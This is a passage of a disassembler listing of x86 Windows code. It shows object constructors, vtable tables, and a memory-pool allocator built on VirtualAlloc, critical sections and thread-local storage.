		push	18h
		call	sub_69B17EF3
		test	eax, eax
		jz	loc_69B25771
		push	0
		push	10h
		mov	ecx, eax
		call	sub_69B1D811
		retn
sub_69B1D7F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1D811	proc near		; CODE XREF: sub_69B1D7F6+15p
					; sub_69B8A458+Dj ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		call	sub_69B19118
		mov	eax, [esp+4+arg_4]
		push	[esp+4+arg_0]
		mov	[esi+8], eax
		xor	eax, eax
		mov	ecx, esi
		mov	dword ptr [esi], offset	off_69B14778
		mov	[esi+0Ch], eax
		mov	[esi+10h], eax
		mov	[esi+14h], eax
		call	sub_69B1D842
		mov	eax, esi
		pop	esi
		retn	8
sub_69B1D811	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1D842	proc near		; CODE XREF: sub_69B1D811+26p
					; DATA XREF: .text:69B147B4o ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B25761 SIZE 00000010 BYTES

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	eax, esi
		push	edi
		shl	eax, 2
		push	eax
		mov	ebx, ecx
		call	sub_69B1D897
		mov	edx, [ebx+10h]
		mov	ecx, esi
		sub	ecx, edx
		shl	ecx, 2
		mov	ebp, eax
		lea	edi, [ebp+edx*4+0]
		mov	edx, ecx
		shr	ecx, 2
		xor	eax, eax
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		mov	ecx, [ebx+10h]
		test	ecx, ecx
		jnz	loc_69B25761


loc_69B1D882:				; CODE XREF: sub_69B1D842+7F2Aj
		push	dword ptr [ebx+14h]
		call	sub_69B1B2B7
		pop	edi
		mov	[ebx+10h], esi
		pop	esi
		mov	[ebx+14h], ebp
		pop	ebp
		pop	ebx
		retn	4
sub_69B1D842	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1D897	proc near		; CODE XREF: sub_69B19AEC+2p
					; sub_69B1B352+2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	[esp+4+arg_0]
		push	4
		pop	ebx
		call	sub_69B17F2C
		pop	ebx
		retn	4
sub_69B1D897	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B1D8A8	proc near		; CODE XREF: sub_69B1BCE3+167p
					; sub_69B3D200+35p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_69B1D9E6
		push	20h
		push	[ebp+var_4]
		call	sub_69B1D8D5
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		leave
		retn	4
sub_69B1D8A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B1D8D5	proc near		; CODE XREF: sub_69B1D8A8+16p

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 69B23619 SIZE 0000003D BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_69B929F4,	0
		push	esi
		jnz	loc_69B23619


loc_69B1D8E7:				; CODE XREF: sub_69B1D8D5+5D7Cj
		push	64h
		call	sub_69B11E44
		test	eax, eax
		jz	short loc_69B1D904
		push	[ebp+arg_4]
		mov	ecx, eax
		push	[ebp+arg_0]
		call	sub_69B1D908


loc_69B1D8FF:				; CODE XREF: sub_69B1D8D5+31j
					; sub_69B1D8D5+5D72j
		pop	esi
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_69B1D904:				; CODE XREF: sub_69B1D8D5+1Bj
		xor	eax, eax
		jmp	short loc_69B1D8FF
sub_69B1D8D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1D908	proc near		; CODE XREF: sub_69B1D8D5+25p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 69B23611 SIZE 00000008 BYTES

		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B1D993
		push	100h
		push	1000h
		lea	ecx, [esi+10h]
		mov	dword ptr [esi], offset	off_69B121C4
		mov	dword ptr [esi+4], offset off_69B121C0
		call	sub_69B19B0D
		mov	edi, [esp+0Ch+arg_4]
		lea	ebx, [esi+54h]
		and	dword ptr [ebx], 0
		cmp	edi, 8
		jb	loc_69B23611


loc_69B1D944:				; CODE XREF: sub_69B1D908+5D0Cj
		xor	edx, edx
		lea	eax, [edi+23h]
		div	edi
		xor	edx, edx
		push	[esp+0Ch+arg_0]
		mov	[esi+44h], edi
		push	ebx
		mov	ecx, eax
		imul	ecx, edi
		mov	eax, 2001h
		sub	eax, ecx
		sub	eax, edi
		div	edi
		xor	edi, edi
		mov	[esi+4Ch], ecx
		mov	[esi+40h], edi
		mov	[esi+3Ch], edi
		mov	[esi+38h], edi
		mov	[esi+48h], eax
		call	sub_69B17320
		mov	[esi+58h], edi
		mov	[esi+5Ch], edi
		mov	[esi+60h], edi
		pop	edi
		mov	dword ptr [esi+50h], 1
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	8
sub_69B1D908	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1D993	proc near		; CODE XREF: sub_69B1D908+5p
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+4]
		push	offset stru_69B1CA6C
		mov	ecx, edi
		call	sub_69B1D9B7
		mov	dword ptr [edi], offset	off_69B1BBE0
		pop	edi
		mov	dword ptr [esi], offset	off_69B1AEB8
		mov	eax, esi
		pop	esi
		retn
sub_69B1D993	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1D9B7	proc near		; CODE XREF: sub_69B1D993+Ep
					; sub_69B3677A+Bp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		mov	[esi+4], eax
		push	dwTlsIndex
		call	dword_69B92970
		mov	eax, [eax+2Ch]
		neg	eax
		sbb	eax, eax
		and	eax, 0FFFFFFFCh
		add	eax, 4
		or	eax, 8
		mov	[esi+8], eax
		mov	eax, esi
		pop	esi
		retn	4
sub_69B1D9B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1D9E6	proc near		; CODE XREF: sub_69B1D8A8+Cp
		push	10h
		push	offset dword_69B1DA60
		call	sub_69B19C5C
		mov	eax, dword_69B929F0
		test	eax, eax
		jnz	short loc_69B1DA41
		push	dword_69B929E8
		lea	ecx, [ebp-1Ch]
		call	sub_69B18E23
		and	dword ptr [ebp-4], 0
		cmp	dword_69B929F0,	0
		jnz	short loc_69B1DA30
		push	30h
		call	sub_69B1D897
		mov	ecx, eax
		mov	[ebp-20h], ecx
		test	ecx, ecx
		jz	short loc_69B1DA5A
		call	sub_69B1DA6C


loc_69B1DA2B:				; CODE XREF: sub_69B1D9E6+76j
		mov	dword_69B929F0,	eax


loc_69B1DA30:				; CODE XREF: sub_69B1D9E6+2Ej
					; sub_69B235A3+10j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-1Ch]
		call	sub_69B1900C
		mov	eax, dword_69B929F0


loc_69B1DA41:				; CODE XREF: sub_69B1D9E6+13j
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		mov	eax, [ebp+8]
		mov	ecx, dword_69B929F0
		mov	[eax], ecx
		call	sub_69B1853C
		retn	4
; ---------------------------------------------------------------------------


loc_69B1DA5A:				; CODE XREF: sub_69B1D9E6+3Ej
		xor	eax, eax
		jmp	short loc_69B1DA2B
sub_69B1D9E6	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B1DA60	dd 0FFFFFFFFh			dd offset sub_69B2359A
		dd offset sub_69B235A3

; =============== S U B	R O U T	I N E =======================================



sub_69B1DA6C	proc near		; CODE XREF: sub_69B1D9E6+40p
		push	esi
		push	1
		mov	esi, ecx
		call	sub_69B19B6A
		and	dword ptr [esi+2Ch], 0
		and	dword ptr [esi+28h], 0
		lea	eax, [esi+10h]
		push	eax		; lpCriticalSection
		mov	dword ptr [esi], offset	off_69B1AEB8
		mov	dword ptr [esi+4], offset off_69B1DA9C
		call	ds:InitializeCriticalSection	; InitializeCriticalSection
		mov	eax, esi
		pop	esi
		retn
sub_69B1DA6C	endp

; ---------------------------------------------------------------------------
		align 4
off_69B1DA9C	dd offset loc_69B2E1C4	; DATA XREF: sub_69B1DA6C+1Co
					; sub_69B2E16D+13o

; =============== S U B	R O U T	I N E =======================================



sub_69B1DAA0	proc near		; CODE XREF: sub_69B1BE7F+19p
					; sub_69B1BE7F:loc_69B24A7Ap ...

arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		call	sub_69B1DAD9
		mov	esi, eax
		test	esi, esi
		jz	short loc_69B1DAD2
		push	dwTlsIndex
		call	dword_69B92970
		mov	eax, [eax+2Ch]
		neg	eax
		sbb	eax, eax
		and	eax, 0FFFFFFFBh
		add	eax, 4
		mov	[esi+4], eax


loc_69B1DACC:				; CODE XREF: sub_69B1DAA0+37j
		mov	eax, esi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_69B1DAD2:				; CODE XREF: sub_69B1DAA0+Ej
		call	sub_69B2E87C
		jmp	short loc_69B1DACC
sub_69B1DAA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1DAD9	proc near		; CODE XREF: sub_69B1DAA0+5p

; FUNCTION CHUNK AT 69B23656 SIZE 0000008B BYTES

		push	ebx
		mov	ebx, ecx
		lea	eax, [ebx+58h]
		cmp	dword ptr [eax], 0
		push	ebp
		push	esi
		jnz	loc_69B23656
		mov	esi, [ebx+3Ch]


loc_69B1DAED:				; CODE XREF: sub_69B1DAD9+5BDBj
		test	esi, esi
		jnz	loc_69B23699
		mov	esi, [ebx+38h]


loc_69B1DAF8:				; CODE XREF: sub_69B1DAD9+5BFBj
		test	esi, esi
		jnz	short loc_69B1DB30


loc_69B1DAFC:				; CODE XREF: sub_69B1DAD9+5Aj
		mov	ecx, ebx
		call	sub_69B1DB66
		mov	esi, eax
		test	esi, esi
		jz	short loc_69B1DB2C
		push	ebx
		mov	ecx, esi
		call	sub_69B1DB3A
		mov	ebp, eax
		mov	eax, [ebx+38h]
		mov	[esi+10h], eax
		mov	eax, [ebx+38h]
		test	eax, eax
		jnz	loc_69B236D9


loc_69B1DB24:				; CODE XREF: sub_69B1DAD9+5C03j
		mov	[ebx+38h], esi


loc_69B1DB27:				; CODE XREF: sub_69B1DAD9+5BD2j
					; sub_69B1DAD9+5BF2j
		mov	[ebx+3Ch], esi


loc_69B1DB2A:				; CODE XREF: sub_69B1DAD9+5BA4j
					; sub_69B1DAD9+5BBBj
		mov	eax, ebp


loc_69B1DB2C:				; CODE XREF: sub_69B1DAD9+2Ej
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_69B1DB30:				; CODE XREF: sub_69B1DAD9+21j
		cmp	esi, [ebx+3Ch]
		jz	short loc_69B1DAFC
		jmp	loc_69B236B9
sub_69B1DAD9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1DB3A	proc near		; CODE XREF: sub_69B1DAD9+33p
					; sub_69B1DAD9+5BC9p ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B235C8 SIZE 00000025 BYTES

		push	esi
		mov	edx, ecx
		mov	eax, [edx+18h]
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	ecx, [edi+44h]
		add	ecx, eax
		cmp	ecx, 2000h
		jnb	loc_69B235C8
		lea	esi, [eax+edx]
		mov	[edx+18h], ecx


loc_69B1DB5C:				; CODE XREF: sub_69B1DB3A+5AAEj
		dec	dword ptr [edx+14h]
		pop	edi
		mov	eax, esi
		pop	esi
		retn	4
sub_69B1DB3A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1DB66	proc near		; CODE XREF: sub_69B1DAD9+25p
		push	10h
		push	offset dword_69B1DBC0
		call	sub_69B19C5C
		mov	esi, ecx
		mov	ecx, [esi+54h]
		lea	eax, [ebp-1Ch]
		push	eax
		call	sub_69B1DBFF
		mov	edi, eax
		mov	[ebp-20h], edi
		test	edi, edi
		jz	short loc_69B1DBB5
		push	dword ptr [esi+48h]
		push	esi
		push	dword ptr [ebp-1Ch]
		mov	ecx, edi
		call	sub_69B1DBCC
		mov	ebx, eax
		and	dword ptr [ebp-4], 0
		push	edi
		call	sub_69B19DB4
		or	dword ptr [ebp-4], 0FFFFFFFFh
		inc	dword ptr [esi+5Ch]
		inc	dword ptr [esi+50h]
		mov	eax, ebx


loc_69B1DBAF:				; CODE XREF: sub_69B1DB66+51j
		call	sub_69B1853C
		retn
; ---------------------------------------------------------------------------


loc_69B1DBB5:				; CODE XREF: sub_69B1DB66+21j
					; sub_69B235F6+16j
		xor	eax, eax
		jmp	short loc_69B1DBAF
sub_69B1DB66	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B1DBC0	dd 0FFFFFFFFh			dd offset sub_69B235ED
		dd offset sub_69B235F6

; =============== S U B	R O U T	I N E =======================================



sub_69B1DBCC	proc near		; CODE XREF: sub_69B1DB66+2Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, ecx
		mov	ecx, [esp+arg_8]
		xor	edx, edx
		mov	[eax+14h], ecx
		mov	ecx, [esp+arg_4]
		push	esi
		mov	[eax+0Ch], edx
		mov	[eax+10h], edx
		mov	esi, [ecx+4Ch]
		mov	[eax+1Ch], edx
		mov	edx, [esp+4+arg_0]
		mov	[eax+18h], esi
		mov	[eax+20h], edx
		mov	dword ptr [eax], 1
		mov	[eax+8], ecx
		pop	esi
		retn	0Ch
sub_69B1DBCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B1DBFF	proc near		; CODE XREF: sub_69B1DB66+15p

lpCriticalSection= dword ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 69B234EC SIZE 000000AE BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, ds:EnterCriticalSection
		lea	eax, [esi+10h]
		push	eax		; lpCriticalSection
		mov	[ebp+lpCriticalSection], eax
		call	edi ; EnterCriticalSection
		mov	eax, [esi+28h]
		mov	ebx, [esi+2Ch]
		xor	ecx, ecx
		cmp	eax, ecx
		mov	[ebp+var_4], ecx
		jnz	loc_69B234EC


loc_69B1DC2B:				; CODE XREF: sub_69B1DBFF+58F0j
					; sub_69B1DBFF+5929j
		cmp	ebx, ecx
		mov	[esi+28h], ecx
		jnz	loc_69B2352D


loc_69B1DC36:				; CODE XREF: sub_69B1DBFF+593Cj
		mov	ebx, [esi+2Ch]
		cmp	ebx, ecx
		jnz	loc_69B2356D


loc_69B1DC41:				; CODE XREF: sub_69B1DBFF+597Dj
		push	[ebp+lpCriticalSection]	; lpCriticalSection
		call	ds:LeaveCriticalSection
		mov	ecx, esi
		call	sub_69B1C300
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_69B1DC84
		push	ebx
		mov	ecx, esi
		call	sub_69B1DC97
		push	[ebp+lpCriticalSection]	; lpCriticalSection
		mov	[ebp+var_4], eax
		call	edi ; EnterCriticalSection
		mov	eax, [esi+2Ch]
		mov	[ebx+8], eax
		mov	eax, [esi+2Ch]
		test	eax, eax
		jnz	loc_69B23592


loc_69B1DC78:				; CODE XREF: sub_69B1DBFF+5996j
		mov	[esi+2Ch], ebx


loc_69B1DC7B:				; CODE XREF: sub_69B1DBFF+598Ej
		push	[ebp+lpCriticalSection]	; lpCriticalSection
		call	ds:LeaveCriticalSection


loc_69B1DC84:				; CODE XREF: sub_69B1DBFF+56j
					; sub_69B1DBFF+5922j ...
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_69B1DC8D
		mov	[eax], ebx


loc_69B1DC8D:				; CODE XREF: sub_69B1DBFF+8Aj
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_69B1DBFF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1DC97	proc near		; CODE XREF: sub_69B1DBFF+5Bp
					; sub_69B1DBFF+5986p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B234C8 SIZE 0000000D BYTES

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	ecx, [esi+0Ch]
		push	edi
		xor	edi, edi
		inc	edi
		shl	edi, cl
		lea	eax, [ecx+1]
		push	4		; flProtect
		shl	ecx, 0Dh
		add	ecx, [esi]
		or	[esi+14h], edi
		push	1000h		; flAllocationType
		mov	[esi+0Ch], eax
		cmp	dword_69B92940,	0
		push	2000h		; dwSize
		push	ecx		; lpAddress
		jnz	short loc_69B1DCDC
		call	ds:VirtualAlloc	; VirtualAlloc


loc_69B1DCCF:				; CODE XREF: sub_69B1DC97+4Aj
		test	eax, eax
		jz	loc_69B234C8


loc_69B1DCD7:				; CODE XREF: sub_69B1DC97+5839j
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_69B1DCDC:				; CODE XREF: sub_69B1DC97+30j
		call	sub_69B2D4D6
		jmp	short loc_69B1DCCF
sub_69B1DC97	endp

; ---------------------------------------------------------------------------
		align 8
off_69B1DCE8	dd offset sub_69B48072	; DATA XREF: sub_69B1BEB8+11o
					; sub_69B481BE+7o
		dd offset sub_69B1DE10
		dd offset sub_69B491D1
		dd offset sub_69B4876E
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B47F56
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B4928E
		dd offset sub_69B4917C
		dd offset sub_69B480C6
		dd offset sub_69B4918C
		dd offset sub_69B47F81
		dd offset sub_69B481D8
		dd offset sub_69B4AD59
		dd offset sub_69B48756
		dd offset sub_69B48894
		dd offset sub_69B4BC9C
		dd offset sub_69B4BCA1
		dd offset sub_69B4CD82
		dd offset sub_69B47F5C
		dd offset sub_69B4A5B1
		dd offset sub_69B48789
		dd offset sub_69B487EE
		dd offset sub_69B4A5F8
		dd offset sub_69B47F91
		dd offset sub_69B4CD87
		dd offset sub_69B4CDC8
		dd offset sub_69B4CE22
		dd offset sub_69B4A6F9
		dd offset sub_69B4A392
		dd offset sub_69B4A37F
		dd offset sub_69B48769
		dd offset sub_69B4A3A9
		dd offset sub_69B4AA2A
		dd offset sub_69B4A621
		dd offset sub_69B4BCB5
		dd offset sub_69B47FF1
		dd offset sub_69B4D1CD
		dd offset sub_69B4CE71
		dd offset sub_69B73462
		dd offset sub_69B4874C
		dd offset sub_69B48867
		dd offset sub_69B4884D
		dd offset sub_69B4D1A8
		dd offset sub_69B4A626
		dd offset sub_69B4D1AD
		dd offset sub_69B4800F
		dd offset sub_69B491B5
		dd offset sub_69B48882
		dd offset sub_69B4ADB4
		dd offset sub_69B481E1
		dd offset sub_69B48AA4
		dd offset sub_69B493EE
		dd offset sub_69B1B57D
		dd offset sub_69B48BEC
		dd offset sub_69B480D7
		dd offset sub_69B480DB
		dd offset sub_69B480E4
		dd offset sub_69B89E92
		dd offset sub_69B4813A
		dd offset sub_69B48144
		dd offset sub_69B48148
		dd offset sub_69B48152
		dd offset sub_69B48C0F
		dd offset sub_69B48160
		dd offset sub_69B48144
		dd offset sub_69B48C17
		dd offset sub_69B4B9EA

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B1DE10	proc near		; DATA XREF: .text:69B1529Co
					; .text:69B1DCECo

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 69B24A70 SIZE 0000000A BYTES

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		call	dword_69B92948
		mov	esi, eax
		test	esi, esi
		jz	loc_69B24A70
		push	edi
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_C]
		push	esi
		call	sub_69B1B406
		mov	ecx, [ebp+arg_0]
		call	sub_69B1DE55
		lea	ecx, [ebp+var_C]
		mov	edi, eax
		call	sub_69B1976C
		push	esi
		call	dword_69B92944
		mov	eax, edi
		pop	edi


loc_69B1DE50:				; CODE XREF: sub_69B1DE10+6C65j
		pop	esi
		leave
		retn	4
sub_69B1DE10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B1DE55	proc near		; CODE XREF: sub_69B1DE10+27p
					; sub_69B40FE5+82p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1

; FUNCTION CHUNK AT 69B1DF0F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 69B24942 SIZE 000000B0 BYTES

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B17275
		test	eax, eax
		mov	eax, [esi+8]
		jnz	loc_69B24942
		mov	ebx, [esi+4]
		shr	eax, 1Fh
		test	al, 1
		jz	loc_69B24985


loc_69B1DE7E:				; CODE XREF: sub_69B1DE55+C2j
		mov	al, 1


loc_69B1DE80:				; CODE XREF: sub_69B1DE55+BCj
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_69B1DE9F
		test	bl, 1
		jnz	loc_69B24994
		xor	ebx, ebx


loc_69B1DE90:				; CODE XREF: sub_69B1DE55+6B42j
		xor	ecx, ecx
		test	al, al
		setnz	cl
		mov	[ebp+var_1], 1
		cmp	ebx, ecx
		jz	short loc_69B1DEA3


loc_69B1DE9F:				; CODE XREF: sub_69B1DE55+2Ej
		mov	[ebp+var_1], 0


loc_69B1DEA3:				; CODE XREF: sub_69B1DE55+48j
		mov	eax, [esi+0Ch]
		mov	[ebp+var_8], eax


loc_69B1DEA9:				; CODE XREF: sub_69B1DE55+6B98j
		cmp	[ebp+var_1], 0
		jnz	loc_69B2499C


loc_69B1DEB3:				; CODE XREF: sub_69B1DE55+6B4Fj
		lea	eax, [esi+4]
		push	eax		; Target
		call	sub_69B18980
		mov	[ebp+var_C], eax
		mov	eax, [esi+8]
		shr	eax, 1Fh
		test	al, 1
		jz	loc_69B249A9


loc_69B1DECD:				; CODE XREF: sub_69B1DE55+6B60j
		mov	cl, 1


loc_69B1DECF:				; CODE XREF: sub_69B1DE55+6B68j
		test	byte ptr [ebp+var_C], 1
		jnz	loc_69B249C2
		xor	eax, eax


loc_69B1DEDB:				; CODE XREF: sub_69B1DE55+6B73j
		mov	edi, [esi+0Ch]
		xor	edx, edx
		test	cl, cl
		setnz	dl
		cmp	eax, edx
		setz	bl
		cmp	[ebp+var_8], edi
		jnz	loc_69B249CD
		cmp	bl, [ebp+var_1]
		jnz	loc_69B249CD
		push	[ebp+var_C]
		mov	ecx, esi
		call	sub_69B1737D
		mov	esi, eax


loc_69B1DF08:				; CODE XREF: sub_69B1DE55+6B1Ej
					; sub_69B1DE55+6B2Bj
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn
sub_69B1DE55	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1DE55


loc_69B1DF0F:				; CODE XREF: sub_69B1DE55+6B3Aj
		test	al, al
		jz	loc_69B1DE80
		jmp	loc_69B1DE7E
; END OF FUNCTION CHUNK	FOR sub_69B1DE55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B1C12C


loc_69B1DF1C:				; CODE XREF: sub_69B1C12C+62j
		push	1Ch
		call	sub_69B1D897
		cmp	eax, ebx
		jz	short loc_69B1DF39
		push	esi
		mov	ecx, eax
		call	sub_69B1DF3D


loc_69B1DF2F:				; CODE XREF: sub_69B1C12C+1E0Fj
					; sub_69B1C12C+2E3Bj
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		jmp	loc_69B1C19F
; ---------------------------------------------------------------------------


loc_69B1DF39:				; CODE XREF: sub_69B1C12C+1DF9j
					; sub_69B1C12C+2E2Dj
		xor	eax, eax
		jmp	short loc_69B1DF2F
; END OF FUNCTION CHUNK	FOR sub_69B1C12C

; =============== S U B	R O U T	I N E =======================================



sub_69B1DF3D	proc near		; CODE XREF: sub_69B1C12C+1DFEp
					; sub_69B1C04C+8200p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B1DFD8
		mov	dword ptr [esi], offset	off_69B1DF78
		mov	dword ptr [esi+4], offset off_69B1DF68
		mov	dword ptr [esi+0Ch], offset off_69B1DF64
		mov	eax, esi
		pop	esi
		retn	4
sub_69B1DF3D	endp

; ---------------------------------------------------------------------------
		align 4
off_69B1DF64	dd offset sub_69B4589A	; DATA XREF: sub_69B1DF3D+19o
off_69B1DF68	dd offset loc_69B46373	; DATA XREF: sub_69B1DF3D+12o
		dd offset sub_69B5A0FC
		dd offset sub_69B458C9
		dd offset sub_69B2CF0E
off_69B1DF78	dd offset sub_69B18AE3	; DATA XREF: sub_69B1DF3D+Co
		dd offset sub_69B1F56C
		dd offset sub_69B18E72
		dd offset sub_69B5A0DE
		dd offset sub_69B3BB2E
		dd offset sub_69B7794D
		dd offset sub_69B3C310
		dd offset sub_69B45BE2
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B84A3B
		dd offset sub_69B44224
		dd offset sub_69B442EC
		dd offset sub_69B84A3B
		dd offset sub_69B443BC
		dd offset sub_69B44418
		dd offset sub_69B444E4
		dd offset sub_69B445A4
		dd offset sub_69B4465C
		dd offset sub_69B84A3B
		dd offset sub_69B45CD4
		dd offset sub_69B4472C
		dd offset sub_69B447D4
		dd offset sub_69B4414B

; =============== S U B	R O U T	I N E =======================================



sub_69B1DFD8	proc near		; CODE XREF: sub_69B1DF3D+7p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi+8], offset dword_69B92214
		push	off_69B92218
		lea	ecx, [esi+0Ch]
		call	sub_69B1DFFA
		mov	eax, esi
		pop	esi
		retn	4
sub_69B1DFD8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1DFFA	proc near		; CODE XREF: sub_69B1DFD8+17p
					; sub_69B440C4+Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, [edi]
		mov	esi, ecx
		mov	ecx, edi
		call	dword ptr [eax+10h]
		mov	ecx, eax
		call	sub_69B1B42A
		push	eax
		push	[esp+0Ch+arg_0]
		mov	ecx, esi
		call	sub_69B19B94
		push	edi
		lea	ecx, [esi+0Ch]
		call	sub_69B1E084
		call	sub_69B1E031
		pop	edi
		mov	eax, esi
		pop	esi
		retn	8
sub_69B1DFFA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1E031	proc near		; CODE XREF: sub_69B1DFFA+2Bp
					; sub_69B1E0E2+Dp ...
		push	offset dword_69B92934 ;	lpAddend
		call	ds:InterlockedIncrement	; InterlockedIncrement
		retn
sub_69B1E031	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1E03D	proc near		; CODE XREF: sub_69B1C04C+8812p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		call	sub_69B43F37
		push	[esp+4+arg_0]
		lea	ecx, [esi+10h]
		mov	dword ptr [esi], offset	off_69B1E074
		mov	dword ptr [esi+4], offset off_69B1E070
		call	sub_69B1E084
		push	[esp+4+arg_4]
		lea	ecx, [esi+14h]
		call	sub_69B1E084
		mov	eax, esi
		pop	esi
		retn	8
sub_69B1E03D	endp

; ---------------------------------------------------------------------------
off_69B1E070	dd offset loc_69B45921	; DATA XREF: sub_69B1E03D+15o
off_69B1E074	dd offset sub_69B448B2	; DATA XREF: sub_69B1E03D+Fo
		dd offset sub_69B18E45
		dd offset sub_69B19029
		dd offset sub_69B448CA

; =============== S U B	R O U T	I N E =======================================



sub_69B1E084	proc near		; CODE XREF: sub_69B655E3-5017Fp
					; sub_69B6589E-5036Ap ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		push	esi
		mov	esi, ecx
		mov	[esi], eax
		jz	short loc_69B1E097
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_69B1E097:				; CODE XREF: sub_69B1E084+Bj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B1E084	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B1E09D	proc near		; CODE XREF: sub_69B3F53E+5j
					; .text:69B3F54Dj ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 69B2414C SIZE 0000000A BYTES

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		call	dword_69B92948
		mov	esi, eax
		test	esi, esi
		jz	loc_69B2414C
		push	edi
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_C]
		push	esi
		call	sub_69B1B406
		mov	ecx, [ebp+arg_0]
		call	sub_69B1E0E2
		lea	ecx, [ebp+var_C]
		mov	edi, eax
		call	sub_69B1976C
		push	esi
		call	dword_69B92944
		mov	eax, edi
		pop	edi


loc_69B1E0DD:				; CODE XREF: sub_69B1E09D+60B4j
		pop	esi
		leave
		retn	4
sub_69B1E09D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B1E0E2	proc near		; CODE XREF: sub_69B1E09D+27p
					; sub_69B1DE55+6B26p ...
		push	esi
		call	sub_69B17355
		mov	esi, eax
